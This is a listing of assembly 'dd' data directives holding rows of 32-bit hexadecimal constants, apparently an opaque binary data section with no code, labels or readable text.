dd 9E1F2ACFh, 0A9C06F58h, 98280312h, 40C70023h, 0A495492Fh
dd 44285C83h, 0B6008805h, 1DB2AB2h, 4564E3h, 92C36C63h
dd 87D78D89h, 660B0800h, 0E0C48F37h, 4ACA004Fh, 993A3FD6h
dd 9707ED81h, 0C54EEC64h, 0E3C22C70h, 52740006h, 210725Ah
dd 31018FA3h, 45A843ACh, 6BFC518Eh, 0CD840914h, 1800613Ah
dd 0BFEB57A9h, 6DAB3C00h, 0B999853Eh, 0E56E1E88h, 0AAD3874Dh
dd 0CE69F0EBh, 0FB008E48h, 0C3DA8394h, 3B24711Ah, 0AC806031h
dd 69BF6BF0h, 55751DCBh, 236D6E01h, 54A3212Ah, 0B1BE108Fh
dd 18A7A8E0h, 0BEA3440h, 92AD7100h, 492CFA87h, 915907D1h
dd 0E0C2F135h, 3394AC9Bh, 0B096E0EFh, 5FE33700h, 6B8CC318h
dd 0E57A007Eh, 3582914Bh, 0D449BE43h, 0CE1B0060h, 0D3563AC5h
dd 0FF930078h, 0CC6677F2h, 0B100B64Ah, 0B54C19FAh, 0CE4D37h
dd 0E720CA2Eh, 0A434589h, 5BA0A800h, 7B606173h, 79620064h
dd 8D25BE78h, 4A0B9D77h, 8094F472h, 2249C3E9h, 4704007Ah
dd 17AD6EE1h, 6D051DF2h, 0ED91D014h, 6C2FB980h, 49F40E67h
dd 9320DD0Ch, 0FF0A7175h, 0D500D17Fh, 60AD5C4Ch, 198FCCh
dd 72D9C2BEh, 5663B29h, 6200F0B0h, 4AB5D635h, 6954B4h
dd 7488BE30h, 706C0620h, 0C9463Fh, 1B84F218h, 502607DBh
dd 528879h, 0F653A312h, 49F9D99Ah, 8B6B2D00h, 5EA6174Eh
dd 8C9A03h, 2496CC1Dh, 768A83E3h, 0BA731301h, 6894188Bh
dd 1C80BC20h, 0C0225E89h, 921A9BADh, 3A30E674h, 0A52F598Eh
dd 5DF7008Dh, 0AA35B323h, 0F3141D3Dh, 0A2AC334Fh, 64C08E02h
dd 0B8D0C520h, 3E5532h, 0C64B0131h, 0D9FEFB58h, 335929C1h
dd 0C820B0CCh, 2C2501E0h, 50A8C4E2h, 767BD4F7h, 0E50E73B0h
dd 0E099D418h, 8E1C5F70h, 0C8F41DEFh, 7935001Dh, 0F275BC72h
dd 0E2E2C098h, 803B5624h, 0BF3AD500h, 3E35E542h, 90004127h
dd 94A1EC47h, 0FA24F92Fh, 0C6032CD7h, 90A206F0h, 32B8CC9h
dd 0A8B9BA38h, 9F91427Dh, 0B460DA3Dh, 0D4ADCB6h, 0B4203EB1h
dd 1FC10029h, 247B5D4h, 8300E12Dh, 808EA245h, 0C2CAE335h
dd 14EC461h, 0EC615A61h, 1A00DE08h, 6D92C0CEh, 140A95Ch
dd 5DF5E03Bh, 0B9E8C93Fh, 699E01C8h, 1891A481h, 67C0D431h
dd 12580034h, 0F98D8424h, 40A99D1h, 8255B7A1h, 1215BF0Eh
dd 56FBC800h, 2F74212h, 0A5B8ED27h, 5BE03B14h, 661C15BEh
dd 0ACF05A1h, 80926038h, 3BC9710h, 0E4C14AE6h, 4DC05A98h
dd 8503707Ch, 9ADF8376h, 43B2A0B0h, 9D300051h, 0A9C4CF5Ch
dd 0B600E17Fh, 475E336Eh, 48BE11DDh, 34005075h, 1DB37E06h
dd 2EE48A3Eh, 0FEEF1316h, 20144032h, 2FDB78E3h, 0CFA81F00h
dd 37F9FC5Ah, 99D0019Bh, 241E7A60h, 88D43027h, 61EE0137h
dd 339E0A20h, 9B71289h, 0CE004341h, 60103866h, 451D75A3h
dd 78D200A0h, 1E89CA0Ch, 9316E500h, 4D8BC7BCh, 0B654007Ah
dd 0A0CF9647h, 0E600843Bh, 33ED18CAh, 0FEBD245h, 1191FB1Ch
dd 0F3DD8260h, 27003474h, 0A204BF6Dh, 12FA95D0h, 45F990h
dd 0BD431E0Dh, 0F600976Ch, 3B13ED2Ch, 4C94226Ah, 101DA2D2h
dd 0D6EA8005h, 9B2520D4h, 4218DB70h, 0C6D84B19h, 4FD70068h
dd 157D56EAh, 1E00C03Dh, 0AA65C2A4h, 50974Ah, 98191B7Bh
dd 57A8D063h, 1F62D600h, 24BFC647h, 0D7F51238h, 4AD40F59h
dd 1F2654Eh, 0CBE8EEECh, 1690C01Bh, 0D376300h, 0BBD0B2B8h
dd 0FDDF0585h, 0FBF23Eh, 0EA777CA4h, 4500170Dh, 93FA1D6Ah
dd 8C0B51h, 69D7B0Fh, 14CE83B1h, 58E37907h, 78201318h
dd 369F27Eh, 0D568C2E5h, 7FC0974Eh, 0D8013398h, 9C37BA99h
dd 830D06Fh, 0BB361276h, 0C3640206h, 584011EAh, 730722F9h
dd 0D3CED9E8h, 3CDF9C90h, 0B55C0FBCh, 5AA3E0ECh, 2D88C46Eh
dd 7414AA2Fh, 7B4284Fh, 0DB3B8EB5h, 481820FBh, 521205h
dd 0B7B4FEAAh, 0A52EECD1h, 0C4348h, 0BBA38B94h, 1A8C37Eh
dd 0F7FEA1FCh, 701B1755h, 0BF00C884h, 0C5A02A3Bh, 90B1EAA6h
dd 5F670048h, 0B3360439h, 6EFC5915h, 508F322Ch, 10F07D89h
dd 811F7B70h, 0AD2EE858h, 8BC6CCEFh, 648D060h, 31BDFFh
dd 77DE393Dh, 0BF723F2Ah, 11A44100h, 0EE8CA946h, 0ECA20493h
dd 0C00324EFh, 44E79498h, 6803100h, 0CC89260Ah, 6EEF0658h
dd 0F848796Bh, 374E6601h, 0DDB60A2Fh, 5262B30h, 5B6287FFh
dd 0EBC0FB8Ah, 1639FBDBh, 0BC3042F8h, 3F5C75AFh, 0C49F03FEh
dd 0F8375598h, 0F42A9DB4h, 20D44885h, 0EAC90E04h, 0B58CD0A9h
dd 99C00286h, 0D7307F9Dh, 6FC10644h, 0C049E4BDh, 1ED4B158h
dd 0C257B2B0h, 0DF522C00h, 98D7BC5Ch, 34050F54h, 15453790h
dd 1DF207DBh, 71ADE0E6h, 93006788h, 0ABAC05FAh, 2E096Ah
dd 0FBA63FD2h, 0C37F7932h, 0F24A8E04h, 0C8C0F4D9h, 716A7A2h
dd 0B59C9A46h, 0C08E05B2h, 693F7009h, 58286C00h, 59B32E14h
dd 75FD0018h, 48687C1Fh, 99005691h, 5CA5EE41h, 2EE57961h
dd 75F1602h, 0C050C9F1h, 6839C6B7h, 565D200h, 74F2AEA9h
dd 34B829h, 4135F198h, 71C179BBh, 0A4314739h, 0DF038040h
dd 8801DB75h, 27E2BEh, 4CA1AB34h, 1AD7FF6Ch, 93AC6200h
dd 22994B7Ch, 443A0074h, 0CDF02EA8h, 0C60279E7h, 5767E02Ah
dd 0A028C80Eh, 779F7369h, 954A0966h, 3C18A27Ch, 188064BBh
dd 0ED6F0032h, 0AED32D36h, 5100E347h, 6DD46CCEh, 0F79D7Fh
dd 0CFBA34DCh, 0FC791D56h, 0C4001477h, 0BD46D162h, 0BFC0E0h
dd 0AF222EB0h, 8BB3095Ah, 7182A000h, 0CB234BDAh, 9A0B00E6h
dd 0EE5E0E9Bh, 89E05B35h, 82D34201h, 0C9609124h, 0E12530h
dd 0EE0349A0h, 35CE95F8h, 0BE447B00h, 4CBC8B73h, 0B291FFEh
dd 0D84580D1h, 9CB5A353h, 0CD64AE00h, 0D9308071h, 5B5500E5h
dd 0F7E9F25Dh, 1100A205h, 9DECF5E1h, 24CF8Dh, 0AD675728h
dd 8338BC2Dh, 10BB1E06h, 7598963h, 31F25B9Bh, 0F5272F99h
dd 9AC2106Ch, 9F3C7B97h, 0DBB18571h, 0FDC3D117h, 1F620057h
dd 0F87C7D5Ah, 6200F292h
dd 0A0B3C820h, 0AC3589h, 13B02B9Dh, 15BB6158h, 6525300Eh
dd 0A2C2E14Dh, 6E8CA5Dh, 0E0ED6397h, 5CF0A777h, 8C00A37Bh
dd 66C9C58Fh, 1466BA5h, 6C49D822h, 615588FDh, 59E1D8ECh
dd 0D9D78400h, 0A871B88Ch, 0E5EABEh, 8ED68AFAh, 0E46F128Bh
dd 0CE923603h, 0E8F63148h, 13A62051h, 0BBA10Ah, 27A4E41Fh
dd 0A70025CEh, 2DD9FD19h, 0B832B5h, 81F316DBh, 73F09BD6h
dd 0D54438h, 0E9070582h, 26910Fh, 7D5168FDh, 86FE50D2h
dd 7CFC1E54h, 88CB407h, 0E1200497h, 50E98384h, 2714F763h
dd 0C00C7C6h, 7CAAD338h, 0E2EF4F09h, 5FC0606Ch, 390898F8h
dd 1400991Dh, 0CCDD5AA6h, 8600282Bh, 4E56B7D7h, 3A4DBAC0h
dd 8400A13Eh, 0AE017149h, 0DF005AFFh, 9F4BCEDAh, 0AF5865h
dd 3EF496F1h, 0AE32EE1Eh, 4D00457Bh, 80B2F5E7h, 3F5781F2h
dd 49819751h, 0FAF0E383h, 1E4FC17h, 67568C03h, 9341AFB6h
dd 259800FCh, 0E6294540h, 0CE60C133h, 3D885A60h, 105F587Fh
dd 8387A005h, 0D10180A4h, 99009341h, 0C1686AF5h, 7533561Bh
dd 25BA3D0Eh, 97A81200h, 0F2F77A57h, 628C661Dh, 5CDA7D80h
dd 7C53128h, 4952DE18h, 696310DDh, 0B700E484h, 0B134215Bh
dd 4AE1Eh, 0EC06E2E5h, 44BA9177h, 478D9701h, 0DD1D3050h
dd 0CD71ECh, 8A39E17Ch, 3CA0FAFDh, 0AA172901h, 528E336Fh
dd 1AFEF8h, 786AFF28h, 0DEBAFCBh, 110B13Fh, 313A5CF2h
dd 0A0645AF3h, 94148480h, 8CF9FAh, 0EDA6DA74h, 59E8F87Ah
dd 14117C8Ah, 0EC70EF1h, 1C8DA0FAh, 391769h, 3698119Ah
dd 0CF7BE378h, 0F20F7D02h, 89B87573h, 0ED4C82A4h, 34563BEh
dd 1C1A2B10h, 9A9261C5h, 5003058h, 5407A404h, 32D53609h
dd 0C0781C8Fh, 0A92C78E4h, 631F1457h, 0B0DD4040h, 0B6354Fh
dd 93A261C3h, 0B995D903h, 1B24C600h, 78FB964Eh, 3E3B009Bh
dd 27CF56ECh, 0C0048937h, 4E12CA94h, 20F40884h, 0B7E10051h
dd 4DE827A5h, 0A900F83Fh, 40B0C6E0h, 3F4ECBD4h, 31E4C7Dh
dd 20920234h, 805891CCh, 0B036171Dh, 0F7F4C00h, 47A6B7h
dd 0BCFFBA1Fh, 0E8048B3Ah, 9BA2B400h, 0CFEA9007h, 5A53009Dh
dd 199D781h, 651C4B58h, 88C420C3h, 0AC91EFD4h, 0E039D153h
dd 904EC801h, 109186E5h, 17164A73h, 45DED7h, 0F10B8D38h
dd 0DC9E7FA8h, 8FA25900h, 126F19C8h, 0C17163DCh, 83E0447Ch
dd 0A7ED0361h, 97F480DEh, 62000BBh, 8DC16A4Dh, 30026EE2h
dd 0CF79A243h, 0E4574BEh, 4C0D906h, 0F6E016ADh, 74666A1Fh
dd 45777885h, 0A3EDA440h, 3D680D9Fh, 55803F22h, 6B563972h
dd 7B00374Dh, 10DA4EEFh, 3EFD1753h, 780A66Dh, 42892CBh
dd 4100ED52h, 0D95F72AEh, 9A67F6h, 81CF0173h, 17C0F722h
dd 56C18327h, 957E00BCh, 5E8F51D4h, 0FB5F8A00h, 1F9BFE29h
dd 1AB23E0Ah, 56B469Ch, 1E3513A4h, 0A34903D0h, 9C9088F5h
dd 3703447Eh, 0DAC591D4h, 0CB98020h, 41A70051h, 43464A21h
dd 6000AC6Eh, 0B79091DEh, 0F4F185h, 9C954930h, 0D64CD48Bh
dd 8ABEA8A0h, 0E9732217h, 6B3D7400h, 6ADA24h, 0DC2FB5B1h
dd 8FBE3310h, 989CB700h, 49D2F2A4h, 0A12200D4h, 8C9E15B9h
dd 0CD7BF6E6h, 0DBCA7701h, 5A5263DEh, 6A78C4h, 5CAF3543h
dd 0BB315590h, 2A5E13Fh, 6B18F3B6h, 26BC5AE7h, 805C2926h
dd 80D2F6ECh, 0BD005F12h, 0E937DC3Ch, 0E8DA96FFh, 0C0F370A7h
dd 7719B11h, 5BB06706h, 0E7F8CD4Bh, 5E1CEA03h, 0E000DFB9h
dd 0DC85399Fh, 7601830Dh, 38901F4h, 694BE492h, 1BCC3C22h
dd 0C8B8042Eh, 2437E8h, 104B0B31h, 0AAAF677Dh, 0E1276A03h
dd 0B0929BDFh, 4C9C15B5h, 610092C3h, 9D4AF764h, 9100D046h
dd 5086DFE6h, 0A9BC79h, 0F57A305h, 17C48EC3h, 0BF6B0D00h
dd 0F34F8C6Eh, 0FA913C90h, 0AA2B0A84h, 1BB8020h, 2F0324D2h
dd 0C01F71ECh, 8FCCB862h, 78A4004Dh, 5805F0D1h, 6127AEF8h
dd 25D800DDh, 23EB5DEh, 0D5D02BDFh, 80687074h, 0A900FBC4h
dd 9B1539A4h, 0A5EF6Ah, 0F5010280h, 745F38Ch, 0BF689500h
dd 5D115CFh, 94677B9Ah, 0C7BC00C8h, 932663FFh, 0A1628302h
dd 609A0C5Dh, 0FA8A44h, 0D44785E3h, 89E76528h, 8C4BC426h
dd 7B524683h, 941FD8C2h, 0DAEC00D1h, 0B01BFF76h, 8B7969A6h
dd 0A724E607h, 0D3905B68h, 0E27406Fh, 0B3226E35h, 0F5C9B800h
dd 12509B74h, 6777992h, 50D6F800h, 3A33754Ah, 55F00058h
dd 0BA9BB3BCh, 0DA00BF35h, 0F31A7D17h, 8CA78Eh, 4E249E77h
dd 2D3E11F4h, 0DB20CC00h, 0B1613429h, 8967000Ch, 0DC6D6B8h
dd 96007ADDh, 15E25C84h, 0EF42A7E1h, 0BC284430h, 0E057003Ch
dd 0DB78FEFFh, 0A7F6C700h, 3CC9322Eh, 0F8B2004Ch, 0D1568590h
dd 9479CDFCh, 0BA6E0F00h, 0EE5D58Fh, 93B909DCh, 64AFF19Fh
dd 0FE0D51A0h, 0F937D843h, 3BB2E6FFh, 0D7706098h, 90CB0005h
dd 7A762DBAh, 7900D24Dh, 0D856C8B4h, 9E14E8Ch, 0A9CC0946h
dd 30733380h, 0F80019D7h, 65D65FB9h, 2C2C211Ah, 4098E6h
dd 252F0867h, 0B8BE38F6h, 30728703h, 57A8A0CBh, 99E3615Bh
dd 24D0505Fh, 3E22D20h, 0D2F0C0Fh, 6F026FCh, 0F005F018h
dd 2D2A1CEEh, 5D579C7Ah, 807D9E91h, 8768EF8Dh, 0D603FEF5h
dd 0CBF1B447h, 0D438031Dh, 51140396h, 0F974FCC0h, 0E888CF1Ch
dd 7FB502C1h, 18BFDD87h, 789C9003h, 5880EC57h, 53AC43Bh
dd 8D3D00FFh, 1D9E71F9h, 7308BA74h, 811A01F7h, 0D9C5305Ah
dd 5FC7D064h, 0CF648A50h, 0A9B6D100h, 0D31F56D5h, 0CA7D012Eh
dd 0CD3D5CE8h, 0D85AFC4Ah, 1EDD5048h, 95000F83h, 20FB1A7Eh
dd 9D6B02ABh, 1630B718h, 60723261h, 0B1F0F2AFh, 0D70E93FEh
dd 56E49Eh, 11D82A47h, 0B8A900B0h, 9120B9D2h, 0AD034108h
dd 1FC7D150h, 1DC9C090h, 2CA60354h, 0D33DE7EDh, 64CFA800h
dd 81347CA1h, 603B001Bh, 0CE044977h, 213EA253h, 31150039h
dd 797F5ED0h, 0CD1B02E9h, 1CC83BC6h, 753FA5E0h, 2907403h
dd 0AE767CDAh, 0E98B0734h, 30805CE3h, 0F495D367h, 462DF10Eh
dd 0C99F60D7h, 42AE2Bh, 0EE7CAF4Ch, 4703199Bh, 81730400h
dd 86DB877Ah, 0ED8D00EAh, 69079D59h, 0EC766E7Eh, 26796F0Fh
dd 0EA1227BBh, 87DF20A0h, 0E47F0086h, 0B4FF022Bh, 28006B58h
dd 0E96D0111h, 0CF6EE5h, 2FAE6745h, 97B55385h, 7A16D412h
dd 0F8B35101h, 0CB43D004h, 366EA0E5h, 62E71486h, 5E28F876h
dd 7D8A0064h, 995ABA50h, 93EA9758h, 256DA303h, 0AA890887h
dd 0B9F8E070h, 392C0101h, 0EEDECE13h, 7F58384Eh, 30437600h
dd 155DA2AEh, 1625E66h, 0C07E7F00h, 0CA09E88Ah, 0F53AEA7Dh
dd 8973070h, 1F77CF67h, 42C01061h, 266B51ACh, 900CF4D0h
dd 49FA1E9Dh, 2A7400E7h, 0DCBCC60Fh, 7B3B7EA5h, 0D72C8452h
dd 0A0D0DF27h, 18C0B25Bh, 3940464Ch, 0DB25EED9h, 425800F9h
dd 0EB5130h, 67FA1A48h, 40415FF6h, 8CDDFE3Ah, 3987C4F7h
dd 0E91C005Dh, 68F0BA6Dh, 3D004E6Ah, 0ECB81BE6h, 171FA2h
dd 3BD6094Ah, 3F2DC63Ah, 0FB48AA74h, 94780035h, 0BEE61D1Fh
dd 137B00Eh, 654C9D87h, 2FC33641h, 50388300h, 1FBFA217h
dd 0C7AF1FA9h, 0BA20A0B3h, 383900E4h, 0E42E121Ch, 130E5F01h
dd 5601EEDFh, 4015B851h, 13D0870h, 0C02AB4BBh, 94CA1EF7h
dd 0DC79E9h, 159F3EEDh, 1FEF8110h, 47490195h, 0C9CB471Bh
dd 5B0901F6h, 0DC4A01Fh, 896104h, 95C76867h, 3344BC77h
dd 0E160140Fh, 4BD240F2h
dd 265B51D5h, 2654798Fh, 169831EDh, 0A06717F6h, 9E4338F0h
dd 99713C2h, 7FAC43C8h, 0D8006C59h, 943E028Ch, 0A8D42BDh
dd 6D77242Ah, 67A6BCh, 3F2517FAh, 2300BEC1h, 0D759728Ah
dd 0EAF9A8F0h, 0C32D00D8h, 9B399446h, 14001905h, 71E4F52Ah
dd 7C74F4E5h, 9234F0B6h, 3DFB024h, 548ACADCh, 697ABE5Dh
dd 0E589C300h, 669F6123h, 0AC1F4D1Bh, 873AC40Bh, 59188020h
dd 0A200E36Eh, 92F9EAEDh, 1AC9F2h, 374AC53Eh, 0D72F7467h
dd 0B2003170h, 0F5DD5FB1h, 7E6DEEEh, 0B5DA3D12h, 0F11B5083h
dd 5516E980h, 0E04114CCh, 58A0DD56h, 3ED10EECh, 0FD868099h
dd 100D94DEh, 0DD55A305h, 91C7EE51h, 1A393A60h, 0B64F0086h
dd 67D3036Eh, 7C1E80ABh, 0EC00D631h, 0D55EFEADh, 102B0271h
dd 0DE1C91A1h, 0E70388D1h, 721EFC40h, 8128B4E8h, 4B81EB26h
dd 0DEDDF036h, 0C23F997Eh, 63AB841Ah, 80BB56EAh, 2EFC393Fh
dd 58968F00h, 4F6A119Bh, 95B0312h, 0EE6399FBh, 4B7AB3A0h
dd 9D7FD800h, 0F3E1BA06h, 1B4307F6h, 2062C4B2h, 0D8128E25h
dd 56A3EF00h, 5E42746Eh, 0D2870F5Bh, 7060C74Dh, 0D6039175h
dd 83B47F0Fh, 2326CB35h, 821B0450h, 8C3260EBh, 9D810033h
dd 7B73CCF8h, 2B006BD6h, 0A81D5C20h, 3C2745A0h, 253D23D5h
dd 0B9224380h, 549A3DB5h, 0FABDA512h, 3F3C0400h, 0C09020E3h
dd 9FC89211h, 0A63A6457h, 0BE08829Ah, 404E280Bh, 7C29B3ACh
dd 0CF5A0088h, 4F4745EBh, 9F077770h, 3C378503h, 5BC08230h
dd 0EAD10598h, 0E0FACF58h, 754D2504h, 93E83CBCh, 8406FBFh
dd 5B85020Ah, 0E362254Ch, 58F1C880h, 0CC0028DDh, 0B98D3741h
dd 226F31h, 0AF6D4DC0h, 1280D361h, 48368700h, 0D4865AD5h
dd 73771E9Ah, 6825C0FBh, 19966379h, 0D0F7EEFEh, 910027D9h
dd 9CC13DB8h, 38401E92h, 600CA48h, 19543063h, 283A94F7h
dd 271C7567h, 0D10061BCh, 95E07396h, 50D9002Dh, 0BB1CA0Fh
dd 0D6035647h, 2093B399h, 0F248C8E2h, 485890FDh, 0DD0FC497h
dd 230110A1h, 50C99AB3h, 22E521D4h, 3069C00h, 4E955B01h
dd 55BA003Eh, 0F82B04B7h, 0BD035F8Ah, 0EB8518D5h, 7A56E268h
dd 5D7B54h, 2ACC935Ah, 73D25801h, 0EC6A3D2Ch, 0D4DD8A03h
dd 7AE8E0D1h, 601E3DA6h, 0C2A72F80h, 2C53EFADh, 0F76A9E00h
dd 0ACA9987Dh, 8FA40h, 5C887BDEh, 81DF3011h, 9AD70C00h
dd 0A6862187h, 756717Eh, 75E8DA09h, 0FC127207h, 850F1240h
dd 8DD71F00h, 6BC60B06h, 2C940EA1h, 414ED9BCh, 0EBBD007Ch
dd 800840ABh, 802FF63Fh, 890B3CC6h, 787ECF62h, 424097E9h
dd 72EAB0DBh, 0DCF07FECh, 8CEF9D00h, 0A2A0084Bh, 0B56700E5h
dd 0C5934633h, 0C803501Ah, 0CBC46EA4h, 59B8F82Fh, 5CB8E8h
dd 1436E68Ah, 8C7252DAh, 773CBD12h, 0F300A053h, 0DB843985h
dd 19780016h, 81A08B5Eh, 251F0F72h, 0ED810506h, 16FC7D52h
dd 0E400AC31h, 0EF13ACh, 65942F80h, 0E525AE02h, 891B093Ch
dd 49895678h, 0E3C85110h, 3D9B00CBh, 0CA306A84h, 5725AB87h
dd 5D8C205Ah, 0F698D053h, 96F81D14h, 2621DD3h, 1A1DF1E1h
dd 299ED401h, 0CB164C29h, 0F9750783h, 97B147D3h, 48FC80EEh
dd 0E1005EFAh, 419E6A76h, 7E868CBh, 70CDF1C1h, 0C80A902Ch
dd 600302B6h, 5114E394h, 1F01A05Dh, 1E69CE16h, 406506C7h
dd 3D80A3B7h, 1350F1E8h, 50A79444h, 59A04110h, 0D70ECA07h
dd 0A045B0A3h, 6470F9A2h, 8A520096h, 671C2C19h, 0D275469Eh
dd 74A3231Fh, 4F40031Fh, 603C15FCh, 1A0F00CCh, 0F26220A8h
dd 76012881h, 0C52D6107h, 0FE60956Eh, 776A0302h, 920521CBh
dd 17D36CD0h, 42134600h, 0A78ABAD6h, 0AA430281h, 32AC8793h
dd 378F6563h, 9624A1A1h, 7B12C49Ah, 0DF898F00h, 7681921Fh
dd 0FCF2008Ah, 0C58BEA86h, 0A73B0D3Ah, 8C658379h, 0D857E374h
dd 545F5958h, 4E30848Ah, 0F95C014Fh, 2E5B9EC7h, 5040F849h
dd 10930038h, 0E853A39Ch, 1605CE85h, 0A719C974h, 4BABD700h
dd 5CE75C8Eh, 0D91CE51Dh, 12CA4190h, 68BC6F1Eh, 0B34400D0h
dd 4CAEB8C0h, 7A90BA2h, 0F0206821h, 0F0EFDEE6h, 0E0668FA0h
dd 76D15A12h, 0D7631502h, 0CEF8C8F2h, 0DFB881h, 2E380BF7h
dd 5436CF27h, 0AE32D700h, 0D617D8D9h, 9C3312B7h, 68B802DDh
dd 0F2604247h, 0B9012428h, 3A996D92h, 0C0D62D8Bh, 3A7DAA34h
dd 4F801171h, 64EE28AEh, 0B6004A74h, 0E6C3F0E8h, 65BDF77h
dd 119058ADh, 9914B09Bh, 0B9BF6Ch, 4AE6B897h, 0DDF618h
dd 955AF998h, 50E2443Dh, 1A2C4AB0h, 0C0003C9Bh, 8E669439h
dd 0EEDE09E4h, 0B8244DA1h, 98328035h, 0FE00EF4Fh, 0DBFAC81Fh
dd 3974F1FCh, 88C9579h, 26B001B3h, 0BCEAF00h, 2F976CD1h
dd 6071490Dh, 487A6E00h, 28895AA8h, 80CE9C39h, 35573934h
dd 274024h, 0C3CBED2Eh, 15D79537h, 6700E890h, 0A8D410DAh
dd 0EA68B88Bh, 9313003Dh, 0FC265870h, 0AF0F6BF6h, 0F7052F1Dh
dd 8F8A1001h, 0CFE43645h, 27DF30DAh, 21E28198h, 82FC4E00h
dd 0EAF0647Eh, 7AFF00F4h, 99787216h, 0E3F79AEh, 53DB1226h
dd 0EE26D896h, 0C68A0E6Ch, 0D941B6ADh, 0EC6EBBF9h, 0E4C5791h
dd 9ECE16D4h, 394C800Ch, 26CB03C8h, 9B31412Ah, 1F3598E0h
dd 0E9EB7A00h, 52F40A46h, 1450F08Eh, 0B8B274EAh, 1EA01D38h
dd 3541E900h, 0B023F610h, 48090083h, 5B98B553h, 0E200908Eh
dd 0FA732C76h, 3FFC5ACCh, 0E0004430h, 0FE7E7D4Dh, 7006227h
dd 48FDF891h, 0F25FE4h, 77D961CFh, 414A3DAh, 0F42A800Ch
dd 0CCD586Dh, 0B715BE8Ch, 45003211h, 0D563E1EDh, 0B9E5FAFh
dd 0AB60BE76h, 0BAD15880h, 430F77FFh, 60E09181h, 8CDE2751h
dd 0D60D004Ch, 1647105Ah, 5700AAA6h, 5CF61FBh, 90FDA280h
dd 0E5270234h, 0CD962034h, 988CB040h, 0E1B680A0h, 48855801h
dd 0BB23A16h, 96EF1C24h, 0A51380BCh, 0BA1D10E3h, 5109B302h
dd 80B201DCh, 23E487F0h, 0A870A6h, 627C96C8h, 404E3949h
dd 6D7EC2F4h, 9040C05Bh, 456AA980h, 82F5071Eh, 44F1677Dh
dd 4DE490C5h, 0DE027F32h, 669F6E16h, 0D4CCA2CCh, 0DC52EDh
dd 0B24CF18h, 7710963Bh, 13B29807h, 699149E0h, 0F708A4h
dd 7B2E9F98h, 64EF4436h, 56414200h, 0E25E7C3Ah, 0D400864Fh
dd 787A2BDh, 0A0277454h, 0C4DC4h, 0D7E19933h, 9B09467Eh
dd 0F97B3B00h, 0BFD276EAh, 0C2AB0082h, 0AA60CC1Ah, 0A007183h
dd 0E8D7772h, 5CF03B85h, 0C707A068h, 50D2F3FAh, 0A720E35Fh
dd 2A025E1Ch, 0A86E803Bh, 0FBD916F4h, 0A45B3F93h, 9E391331h
dd 0A17BCC0Eh, 4A7DB64Ch, 8B714C00h, 4F9B14h, 882F7930h
dd 800A1E0Eh, 0F682A150h, 0A6B42700h, 52FD8BB1h, 44F1052Eh
dd 0C3FEC7E8h, 0C087E9F4h, 0AB2BBA7Eh, 0B0E56B2Ah, 2C88175Ah
dd 0BAA316CFh, 0D0D00A2h, 0C975ECD9h, 0DD12F800h, 0B15613BDh
dd 422700F4h, 0D8A96EA5h, 2E03CE24h, 0B7326D06h, 0E08DA0EAh
dd 0FC830007h, 553EB8B3h, 8101FD94h, 0DC220170h, 2C30B9F6h
dd 929E00C4h, 5EE37389h, 2A0937DDh, 0AE9B0AABh, 8FA3A080h
dd 1F9A4035h, 810C0852h, 5B4AA281h, 1D07C0Dh, 820BA88Ah
dd 15C484A7h, 9904EFCh, 0C000E694h, 107B2AF3h, 19E7E130h
dd 0E1FF689h, 0C2FFB620h, 0A6572280h, 2D640F15h, 0C8B87379h
dd 0F75FF84h, 25234169h, 81E814A7h, 0C4E807CAh, 0F07F6D44h
dd 29C3892Fh, 16A05Ch, 0FB191C9Ah, 0B8D8CFh, 0B3DDFD6Eh
dd 0D2517FF1h, 7C9F7900h
dd 0D023983Dh, 0A0094C1Ah, 0CFE43E01h, 0EC4287CCh, 0D0EC826h
dd 0C2B797EFh, 80BBA990h, 78AD4EA4h, 1F4A0950h, 10D84DA5h
dd 0E8EB8600h, 7DBB97EEh, 61DA00F9h, 8CFF5615h, 0BF005DD6h
dd 4A66512Fh, 3AD9Eh, 0DA6C88C9h, 1DDECC78h, 42D3F01Eh
dd 5AF88DC7h, 7EB85890h, 0BCC712FCh, 7500E08Ah, 14E0E904h
dd 0D0F85143h, 39382A01h, 3AF5EEEDh, 0E6972401h, 10809BE3h
dd 0B11ACADEh, 6301A964h, 0EC697C54h, 6296E4h, 0C4CCE577h
dd 9A0713B6h, 3CC083B8h, 24E41688h, 2971E51Eh, 681184C0h
dd 675562h, 28181E42h, 8EB49ADFh, 0D2313C09h, 0BC5803Dh
dd 1DF4C3h, 9D958FCBh, 970D8678h, 0F1E65113h, 150F0E0h
dd 4CFAF315h, 808C13B4h, 0B5F99028h, 9EF8E44h, 0E7FB0763h
dd 0D0B30427h, 1D9454E9h, 91FCA01Dh, 3071040h, 5EC25CD1h
dd 0C3382B85h, 8A5787CFh, 10A4515Eh, 0C30B225Fh, 0F9234C08h
dd 3EAC205Ch, 0F13C0861h, 0E49C4010h, 50E2D74h, 0AF2F0CFCh
dd 0D2B3A603h, 16ADE20h, 0CD37D9E3h, 7067E14Ah, 1D07CB9Bh
dd 9C306A87h, 0C3D014F0h, 2F1A008Fh, 0FAA77E4Bh, 0DB00BC3Fh
dd 0B726C908h, 0E563717h, 13B8E1D7h, 0E8949D00h, 0B3782C52h
dd 0DF1ED37Ch, 0C99D902Fh, 0D4B07CC0h, 3DAA230h, 0EAB655D8h
dd 51C84AFAh, 2CFC35A6h, 872C800h, 0ACF8A147h, 0F66600FCh
dd 0DC1265E9h, 0DD00FB92h, 799F7A39h, 7DFCD22Bh, 794F8A9h
dd 47250D83h, 5EDBA034h, 0BA00F185h, 0C5234369h, 0FAF2F84Fh
dd 176A01EDh, 0CFDF9C5Fh, 45B88ED6h, 0E93A207Fh, 390AAF9h
dd 62474F43h, 3788724Ah, 4001EFF6h, 60A19786h, 66CCD74Dh
dd 10063D9Fh, 7713E200h, 63D04A45h, 9D655Ch, 4D32A4ECh
dd 0F46F1h, 0D2C7266Ch, 0F53DEE70h, 0A2FCED00h, 2D672EB1h
dd 1EA0713Fh, 40DB226Bh, 30079A6Eh, 96020FF6h, 39D095C5h
dd 3F6240DCh, 0ECFA1FBBh, 0C7678071h, 996913CEh, 201E2F79h
dd 2BC7727Fh, 1C20F6E2h, 7CF3C754h, 5F570025h, 365DA13Eh
dd 6A00D1B7h, 0DB8CF187h, 303729h, 5E0F44EEh, 40E7D815h
dd 9EBEB03Ah, 0F2036C18h, 69AFBDh, 1AA91958h, 0E7380246h
dd 7B73BA00h, 8A1E4807h, 874900C4h, 7C106316h, 37F8C8E6h
dd 0E9FBBA00h, 0EFB80E7Ah, 8080505Ah, 822100DFh, 66779DA9h
dd 832C582Eh, 0D41E7E5Ch, 7F002412h, 0F3496D36h, 0C99038Ch
dd 0DF86A0A5h, 0C63490BCh, 9501E397h, 518B56EFh, 3880542Eh
